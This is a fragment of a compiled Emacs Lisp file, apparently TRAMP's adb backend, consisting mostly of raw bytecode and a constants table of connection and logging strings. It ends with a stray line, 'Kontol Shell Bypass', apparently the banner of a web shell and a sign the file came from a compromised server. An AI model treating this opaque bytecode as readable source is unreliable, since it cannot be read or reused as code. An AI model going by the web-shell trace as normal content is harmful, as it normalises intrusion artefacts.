C\"C*\354E!\205.\340\355E\356\357H\"DPC$*0\2027\210\2028\210,\202zI\324Y\203zKLr\326\360!q\210p\361 \210LK\323\211MN\320\211O\320PQ\362 \210\363\364!\210+\211RG\332 \210\365R!\210+)E\203E	E\343\366\367<\211\370N\340\371DC#E!CCDHE\201\2261?	HIX\205;	\335 J\201\227\216F\203\351H\337X\203\351\340\341H\342U\203\313\316\202\342H\343U\203\326\316\202\342H\344U\203\341\345\202\342\346DPC#\210I\347Y\205:	\350E!\203	\342I\351E\352\323#E)H\343U\203$	\342Ir\307E!q\210D\325PD\353C\333 C\"C*\354E!\205:	\340\355E\356\357H\"DPC$*0\202C	\210\202D	\210,\374<\340\371DC#C\"\210-\201\230\n\352#\210\201\231\n\323\"\210\201\232\201\233\323CDHE\201\2341\nHIX\205\n\335 J\201\235\216F\203\277	H\337X\203\277	\340\341H\342U\203\241	\316\202\270	H\343U\203\254	\316\202\270	H\344U\203\267	\345\202\270	\346DPC#\210I\347Y\205\n\350E!\203\331	\342I\351E\352\323#E)H\343U\203\372	\342Ir\307E!q\210D\325PD\353C\333 C\"C*\354E!\205\n\340\355E\356\357H\"DPC$*0\202\n\210\202\n\210,\201\236\201\237\"\210\351\201\240\323#\201\230\201\240r\307!q\210eb\210\201\241p!)#]\211^;\203^]\230\204\337\201\242^]DCDHE\201\2431HIX\205\335 J\201\244\216F\203\262\nH\337X\203\262\n\340\341H\342U\203\224\n\316\202\253\nH\343U\203\237\n\316\202\253\nH\344U\203\252\n\345\202\253\n\346DPC#\210I\347Y\205\350E!\203\314\n\342I\351E\352\323#E)H\343U\203\355\n\342Ir\307E!q\210D\325PD\353C\333 C\"C*\354E!\205\340\355E\356\357H\"DPC$*0\202\f\210\202
\210,\201\245\320\"\210\201\246!\210*\f\203G
\201\236\356\201\247\f\"\"\210\201\250\323\"\204G
\201_\n!\210\201\251\316\317\323$\210\321\322\fCCD<E\323FE\211E\2030\fE\324\325\326\327\330!!G\201\252\216GG\332 \210)rGq\210\333 +CCDHE\201\2531'\fHIX\205#\f\335 J\201\254\216F\203\321H\337X\203\321\340\341H\342U\203\263\316\202\312H\343U\203\276\316\202\312H\344U\203\311\345\202\312\346DPC#\210I\347Y\205\"\f\350E!\203\353\342I\351E\352\323#E)H\343U\203\f\f\342Ir\307E!q\210D\325PD\353C\333 C\"C*\354E!\205\"\f\340\355E\356\357H\"DPC$*0\202+\f\210\202,\f\210,\202n\fI\324Y\203n\fKLr\326\360!q\210p\361 \210LK\323\211MN\320\211O\320PQ\362 \210\363\364!\210+\211RG\332 \210\365R!\210+)E\2039
E\343\366\367<\211\370N\340\371DC#E!CCDHE\201\25513
HIX\205/
\335 J\201\256\216F\203\335\fH\337X\203\335\f\340\341H\342U\203\277\f\316\202\326\fH\343U\203\312\f\316\202\326\fH\344U\203\325\f\345\202\326\f\346DPC#\210I\347Y\205.
\350E!\203\367\f\342I\351E\352\323#E)H\343U\203
\342Ir\307E!q\210D\325PD\353C\333 C\"C*\354E!\205.
\340\355E\356\357H\"DPC$*0\2027
\210\2028
\210,\374<\340\371DC#C\"\210-\201\236\201\257\"\210\201\230\201\260\201\261r\307!q\210eb\210\201\241p!)\201\262\201\263##\210\201\230\n\201\264\320#,\201\265U--\207" [vec buf p host user device tramp-check-proper-method-and-host tramp-get-connection-buffer get-buffer-process tramp-file-name-host tramp-file-name-user tramp-adb-get-device tramp-file-name-method tramp-get-file-property #4="" "su-command-p" t file-error "Cannot switch to user `%s'" nil 10 "\n%s" get-buffer-create generate-new-buffer-name " *string-output*" #[nil "\301!\207" [standard-output kill-buffer] 2] backtrace buffer-string (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message 0 1 2 #5="Warning: " #6="Tramp: " 4 processp tramp-get-connection-property #7="vector" append vectorp tramp-debug-message format #8="(%d) # " "*debug tramp*" kill-all-local-variables erase-buffer run-hooks temp-buffer-setup-hook internal-temp-output-buffer-show "%s" error-message-string error-message format-message (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] signal process-status (run open) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-current-method tramp-current-user tramp-current-host arguments fmt-string vec-or-proc tramp-message-show-message standard-output level tramp-verbose save-match-data-internal default-directory #1=#:old-dir buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #2=#:buf pr tm cookie coding-system-for-read tramp-process-connection-type process-connection-type args file-name-handler-alist d tramp-adb-program new-getprop old-getprop delete-process "Device %s not connected" #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "%s..." #3="Opening adb shell connection" (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "failed" (error) subrp make-progress-reporter functionp run-at-time 0.1 tramp-progress-reporter-update #[nil "\203\306\307!\204\310\307!\203\307!\210	\311\312\313\nD$\3141\257
%X\205\253\315 &\316\216'\203a
\311X\203a\317\320
\321U\203G\322\202\\
\323U\203Q\322\202\\
\324U\203[\325\202\\\326\fP#\210%\327Y\205\252\330$!\203{\321%\331$\332\333#$)
\323U\203\227\321%r\334$!q\210\f\335P\336\337 C\"*\340$!\205\252\317\341$\342\343
\"\fP$*0\202\261\210\333,\207" [tm vec cookie arguments fmt-string level subrp cancel-timer functionp 3 "%s...%s" #3# (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] apply message 0 #4# 1 2 #5# #6# 4 processp tramp-get-connection-property #7# nil tramp-get-connection-buffer "\n%s" append buffer-string vectorp tramp-debug-message format #8# vec-or-proc tramp-verbose save-match-data-internal tramp-message-show-message] 6] utf-8-dos "-s" "shell" boundp temporary-file-directory eval standard-value fboundp temp-directory getenv "TEMP" file-directory-p file-name-as-directory "TMP" "TMPDIR" file-exists-p "c:/temp" "Neither `temporary-file-directory' nor `temp-directory' is defined -- using /tmp." "/tmp" start-process tramp-get-connection-name 6 mapconcat identity process-command " " (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-adb-wait-for-output 30 run "Terminated!" #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-set-connection-property tramp-compat-set-process-query-on-exit-flag 5 "Checking system information" (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-adb-send-command "echo \\\"`getprop ro.product.model` `getprop ro.product.version` `getprop ro.build.version.release`\\\"" "getprop" read "Connection reset, because remote host changed from `%s' to `%s'" (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-cleanup-connection tramp-adb-maybe-open-connection "su %s" tramp-adb-send-command-and-check tramp-set-file-property #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "echo \\\"$PATH\\\"" "remote-path" split-string ":" omit-nulls "connected" "done"] 11 (#$ . 84863)])
(byte-code "\300\301\302\"\210\303\304!\207" [add-hook tramp-unload-hook #[nil "\300\301\302\"\207" [unload-feature tramp-adb force] 3] provide tramp-adb] 3)

Kontol Shell Bypass